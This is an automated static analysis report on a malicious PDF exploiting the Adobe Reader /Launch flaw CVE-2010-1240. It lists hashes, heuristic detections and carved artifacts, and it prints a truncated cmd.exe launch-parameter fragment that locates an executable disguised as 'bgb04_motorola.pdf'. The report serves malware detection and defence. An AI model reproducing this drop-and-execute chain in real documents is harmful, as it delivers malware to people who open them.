Malicious PDF — malware analysis report

Static analysis result for SHA-256 48c0fa24b17fc05a…

MALICIOUS

PDF

785.9 KB Created: 2007-02-15 11:16:28 +01:00 Authoring application: QuarkXPress: pictwpstops filter 1.0 (via Acrobat Distiller 6.0.0 for Macintosh)
MD5: 7eca0c1f9d5baf804fd5d14741bf44c4 SHA-1: 3528cfb4b604c805612292d1b6ed29646214c374 SHA-256: 48c0fa24b17fc05abddca439514cdc6342d24ce74c4fe265fa4cd5b9c9394699
424 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The PDF file contains a critical PDF_LAUNCH heuristic firing, indicating a launch action targeting cmd.exe. This action is paired with a dropper JavaScript API and an embedded executable payload. The embedded executable is disguised as a PDF file named 'bgb04_motorola.pdf', further supporting the malicious intent. The combination of these factors strongly suggests a delivery mechanism for a secondary payload.

Heuristics 11

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\bgb04_motorola.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • JavaScript action low PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns#
    • http://ns.adobe.com/pdf/1.3/
    • http://ns.adobe.com/xap/1.0/
    • http://ns.adobe.com/xap/1.0/mm/
    • http://purl.org/dc/elements/1.1/

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
bgb04_motorola.pdf
865f34fe7ba81e9622ddbdfc511547d190367bbf3dad21ceb6da3eec621044f5		 pdf-embedded-file PDF EmbeddedFile object 56 at offset 0xBBA14 69120 bytes
javascript_obj0057_000.js
f53e15ee86e5230602175264345603f413ac174b86632c445ffe7ae4568d2551		 pdf-javascript-stream PDF /JS object 57 at offset 0xC42F6 63 bytes
font_00_cff_off0000344f.bin
84abc657e9c91ec96bba7a37642399da9b16d8ad025ea15c33af2bada98a6baf		 pdf-font-stream PDF embedded font (cff) at offset 0x344F 12549 bytes
font_01_cff_off00005d27.bin
5321ec804f6577934f122ad6111576fd7652cc8f2e5d3ecf666cf508a07136db		 pdf-font-stream PDF embedded font (cff) at offset 0x5D27 12347 bytes
font_02_cff_off00008658.bin
702c538a346af47544b26ad44668529245745d24baccc12a7ef2e1017726dc59		 pdf-font-stream PDF embedded font (cff) at offset 0x8658 12234 bytes
font_03_cff_off0006c8b3.bin
0f9d492d8bcf680bbda8a80f5f4a06fe19e9f158173ed2bb26c6cde7a07dbdd1		 pdf-font-stream PDF embedded font (cff) at offset 0x6C8B3 14646 bytes
font_04_cff_off0006f90d.bin
03ee6b2be620e9207ecb412a6cae3238c513dba49509b346bf049f44872269bb		 pdf-font-stream PDF embedded font (cff) at offset 0x6F90D 28440 bytes
font_05_cff_off000b783a.bin
4f4eeadf8b07b9a49a7031be262049299bcbb03dcc1ce23f064151205f625bff		 pdf-font-stream PDF embedded font (cff) at offset 0xB783A 12782 bytes

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